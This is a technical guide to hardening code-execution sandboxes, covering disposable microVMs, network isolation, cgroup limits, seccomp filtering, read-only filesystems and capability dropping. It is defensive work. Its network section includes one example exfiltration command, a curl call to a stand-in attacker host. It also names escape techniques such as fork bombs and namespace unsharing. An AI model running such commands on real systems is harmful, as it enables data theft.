Code Execution Sandboxing

Every code execution event must occur in a single-use, disposable environment with no persistent state. The sandbox is provisioned on-demand, exists only for the duration of the execution, and is completely destroyed afterward.

• No residual files, logs, or memory artifacts survive the session
• Prevents cross-session data leakage and stateful exploits
• Eliminates the attack surface of long-running containers
• Example: A Python exec() call spawns a fresh Firecracker microVM that is terminated within milliseconds of completion

The sandbox must operate with no inbound or outbound network access by default. This prevents an injected payload from exfiltrating data, establishing command-and-control channels, or performing server-side request forgery (SSRF) against internal services.

• All DNS resolution is blocked at the kernel level via seccomp profiles
• No loopback interface access to prevent localhost attacks
• If network access is required, it is restricted to a strict allowlist of domains
• Example: A code injection attempting curl http://attacker.com/exfil hits a dead socket

Strict cgroup v2 limits on CPU, memory, disk I/O, and process counts prevent denial-of-service attacks and crypto-jacking via injected code. The sandbox enforces hard ceilings that terminate execution immediately upon breach.

• Memory limit: Typically 128MB–512MB per execution
• CPU time limit: Hard timeout of 5–30 seconds
• Fork bomb prevention: pids.max set to a low integer
• Disk quota: tmpfs mount with a strict size limit, no persistent volumes
• Example: An infinite loop or while(true) fork bomb is killed by the OOM killer or PID controller

A seccomp-bpf filter restricts the kernel system calls available to the sandboxed process to a minimal, audited set. This blocks dangerous syscalls like ptrace, mount, kexec_load, and reboot.

• Default-deny posture: Only explicitly allowed syscalls pass through
• Blocks container escape techniques that exploit kernel vulnerabilities
• Prevents loading of unauthorized kernel modules
• Example: An injected payload attempting unshare(CLONE_NEWNS) to break namespace isolation is terminated by SIGKILL

The sandbox operates on a read-only root filesystem with a writable tmpfs overlay that is discarded on termination. No host directories are mounted, and the /proc and /sys pseudo-filesystems are masked or restricted.

• No access to host device files or kernel configuration
• Prevents reading sensitive files like /etc/shadow or environment variables
• Any written data is confined to a memory-backed volume
• Example: os.listdir('/') returns only the minimal Alpine-based rootfs, not the orchestrator's filesystem

Linux capabilities are aggressively pruned to remove all privileged operations. Even running as root inside the sandbox grants no meaningful power because CAP_SYS_ADMIN, CAP_NET_RAW, and all other capabilities are explicitly dropped.

• Starts with full capability bounding set, then drops to zero or near-zero
• Prevents loading kernel modules, changing network configurations, or modifying system time
• Works in conjunction with user namespace remapping (root inside maps to a high-UID nobody outside)
• Example: capsh --print inside the sandbox returns an empty or minimal capability set